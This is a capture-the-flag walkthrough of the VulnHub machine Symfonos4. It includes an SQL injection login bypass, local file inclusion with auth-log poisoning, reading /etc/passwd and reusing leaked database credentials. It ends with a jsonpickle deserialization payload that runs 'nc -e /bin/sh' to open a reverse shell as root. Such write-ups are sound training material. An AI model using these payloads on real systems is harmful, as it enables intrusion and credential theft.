VulnHub Symfonos4
30 May, 2021
Machine Link: https://www.vulnhub.com/entry/symfonos-4,347/
Beginning with an nmap scan
$ sudo nmap -A -sC -sV -O -p 1-20000 192.168.56.122
Starting Nmap 7.91 ( https://nmap.org )
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.122
Host is up (0.0013s latency).
Not shown: 19998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
| 256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_ 256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:3E:1B:B2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.35 ms 192.168.56.122
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds
Next I ran gobuster and found two PHP files
$ ./gobuster dir -r -u http://192.168.56.122/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.122/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 200) [Size: 949]
/manual (Status: 200) [Size: 626]
/js (Status: 200) [Size: 948]
/javascript (Status: 403) [Size: 300]
/sea.php (Status: 200) [Size: 1718]
/atlantis.php (Status: 200) [Size: 1718]
/server-status (Status: 403) [Size: 302]
/gods (Status: 200) [Size: 1340]
===============================================================
Finished
===============================================================
sea.php would redirect to atlantis.php
$ curl -v 192.168.56.122/sea.php
* Trying 192.168.56.122:80...
* Connected to 192.168.56.122 (192.168.56.122) port 80 (#0)
> GET /sea.php HTTP/1.1
> Host: 192.168.56.122
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Sun, 30 May 2021 06:26:49 GMT
< Server: Apache/2.4.38 (Debian)
< Set-Cookie: PHPSESSID=v9u6vlgnbdbd8v9l6aq3tdlvh9; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< location: atlantis.php
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.168.56.122 left intact
atlantis.php lead to a login page. gods/ had three log files hades.log, poseidon.log and zeus.log but nothing significant to investigate further
After trying multiple SQL injection payloads on the login page, admin';-- worked and I got to see sea.php. This also indicated that 'admin' would be an actual username as well since I tried zeus';-- as well and it didn't work

This looked like LFI again.
The auth log was available at the path ../../../../../var/log/auth. Since auth log would log SSH attempts, I attempted Log File Poisoning
$ curl 'http://192.168.56.123/sea.php?file=../../../../../../../../../var/log/auth&cmd=whoami' -H 'Cookie: PHPSESSID=m3d8lcovucg8mbde25o3l1vmde'
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="d-flex justify-content-center align-items-center" style="height:100px;">
<div class="form-group">
<select onchange="location = this.value;">
<option selected="">Select a God</option>
<option value="?file=hades">Hades</option>
<option value="?file=poseidon">Poseidon</option>
<option value="?file=zeus">Zeus</option>
</select>
</div>
</div>
<script src="js/bootstrap.min.js"></script>
May 30 02:39:02 symfonos4 CRON[786]: pam_unix(cron:session): session opened for user root by (uid=0)
May 30 02:39:02 symfonos4 CRON[786]: pam_unix(cron:session): session closed for user root
May 30 02:43:17 symfonos4 sshd[849]: Connection closed by 192.168.56.103 port 59904 [preauth]
May 30 02:43:19 symfonos4 sshd[851]: Invalid user kali from 192.168.56.103 port 59906
May 30 02:43:20 symfonos4 sshd[851]: Failed none for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Failed password for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Failed password for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Connection closed by invalid user kali 192.168.56.103 port 59906 [preauth]
May 30 02:45:04 symfonos4 sshd[856]: Invalid user www-data
from 192.168.56.103 port 59910
May 30 02:45:07 symfonos4 sshd[856]: Failed none for invalid user www-data
from 192.168.56.103 port 59910 ssh2
May 30 02:45:07 symfonos4 sshd[856]: Failed password for invalid user www-data
from 192.168.56.103 port 59910 ssh2
May 30 02:45:08 symfonos4 sshd[856]: Failed password for invalid user www-data
from 192.168.56.103 port 59910 ssh2
May 30 02:45:08 symfonos4 sshd[856]: Connection closed by invalid user www-data
192.168.56.103 port 59910 [preauth]
</div>
</body>
</html>
So apache is running as www-data. Let's use this exploit for a reverse shell
www-data@symfonos4:/var/www/html$ whoami
whoami
www-data
www-data@symfonos4:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@symfonos4:/var/www/html/gods$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
poseidon:x:1000:1000:,,,:/home/poseidon:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
I ran linpeas, here's the interesting parts of the output
[+] Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside key folders (limit 70) - only PHP files
/var/www/html/atlantis.php: <input type="password" id="password" class="form-control" name="password" required>
/var/www/html/atlantis.php: <label for="password" class="col-md-4 col-form-label text-md-right">Password</label>
/var/www/html/atlantis.php: $pwd = hash('sha256',$_POST["password"]);
/var/www/html/atlantis.php: $statement = $db->prepare("Select * from users where username='".$username."' and pwd='".$pwd."'");
/var/www/html/atlantis.php: define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
/var/www/html/atlantis.php: define('DB_USERNAME', 'root');
Using the DB credentials I found admin's hashed password
www-data@symfonos4:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: yVzyRGw3cG2Uyt2r
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 22
Server version: 10.3.15-MariaDB-1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| db |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.001 sec)
MariaDB [(none)]> USE db;
USE db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [db]> SHOW TABLES;
SHOW TABLES;
+--------------+
| Tables_in_db |
+--------------+
| users |
+--------------+
1 row in set (0.000 sec)
MariaDB [db]> SELECT * FROM users;
SELECT * FROM users;
+----------+------------------------------------------------------------------+
| username | pwd |
+----------+------------------------------------------------------------------+
| admin | b674f184cd52edabf2c38c0142452c0af7e21f71e857cebb856e3ad7714b99f2 |
+----------+------------------------------------------------------------------+
1 row in set (0.000 sec)
Couldn't find the unhashed password, but I tried to login as poseidon using the DB password and it worked!
$ ssh poseidon@192.168.56.123
poseidon@192.168.56.123's password:
Linux symfonos4 4.19.0-5-686 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 18 02:50:19 2019 from 192.168.1.147
poseidon@symfonos4:~$ id
uid=1000(poseidon) gid=1000(poseidon) groups=1000(poseidon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
poseidon@symfonos4:~$ whoami
poseidon
poseidon@symfonos4:~$ ps aux | grep root
root 642 0.0 1.6 28244 16936 ? S 02:25 0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app
root 643 0.0 1.5 27304 15764 ? S 02:25 0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app
root 644 0.0 1.6 28332 16820 ? S 02:25 0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app
So root is running gunicorn on port 8080. I found its code in /opt/code, it was a Flask app.
poseidon@symfonos4:~$ cd /opt
poseidon@symfonos4:/opt$ ls
code
poseidon@symfonos4:/opt/code$ ls
app.py app.pyc static templates wsgi.pyc
poseidon@symfonos4:/opt/code$ cat app.py
from flask import Flask, request, render_template, current_app, redirect
import jsonpickle
import base64
app = Flask(__name__)
class User(object):
def __init__(self, username):
self.username = username
@app.route('/')
def index():
if request.cookies.get("username"):
u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
return render_template("index.html", username=u.username)
else:
w = redirect("/whoami")
response = current_app.make_response(w)
u = User("Poseidon")
encoded = base64.b64encode(jsonpickle.encode(u))
response.set_cookie("username", value=encoded)
return response
@app.route('/whoami')
def whoami():
user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
username = user.username
return render_template("whoami.html", username=username)
if __name__ == '__main__':
app.run()
It was visible from the code and the decoded cookie that I have to look into unchecked deserialization of objects
$ echo "eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==" | base64 --decode
{"py/object": "app.User", "username": "Poseidon"Poseidon}
After going through a number of guides about unchecked deserialization using jsonpickle, I was able to craft a payload after multiple failed attempts
$ echo '{"py/object":"__main__.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/sh 192.168.56.103 4242"]},0,0,0]}' | base64 -w 0
$ nc -lvnp 4242
Connection from 192.168.56.123:33620
id
uid(root=0) gid(root=0) groups(root=0)
whoami
root
python -c "import pty; pty.spawn('/bin/bash')"
root@symfonos4:~# cd /root
cd /root
root@symfonos4:~# ls
ls
proof.txt
root@symfonos4:~# cat proof.txt
cat proof.txt
Congrats on rooting symfonos:4!
~ ~ ~ w W w
~ \ | / ~
~ ~ ~ \.|./ ~
|
~ ~ | ~
o ~ .:.:.:. | ~
~ wwWWWww // ~
((c ))"""(( //| ~
o /\/\(( (( 6 6 )) // | ~
(d d (( )))^((( // |
o / / c((-(((')))-.// | ~
/===/ `) (( )))(( ,_/ |~
~ /o o/ / c((( (()) | | ~ ~
~ `~`^ / c ((( )) | | ~
/c c((( ( | ~ | ~
~ / c ((( . | | ~ ~
/ c c ((^^^^^^`\ ~ | ~ ~
|c c c c((^^^ ^^^`\ |
~ \ c c c(^^^^^^^^`\ | ~
~ `\ c c c;`\^^^^^./ | ~
`\c c c ;/^^^^^/ | ~
~ ~ `\ c c /^^^^/' ~ | ~
~ `;c |^^/' o
.-. ,' c c//^\\ ~
~ ( @ `.`c -///^\\\ ~ ~
\ -` c__/|/ \|
~ `---' ' ~ ' ~
~ ~ ~ ~ ~
Contact me via Twitter @zayotic to give feedback!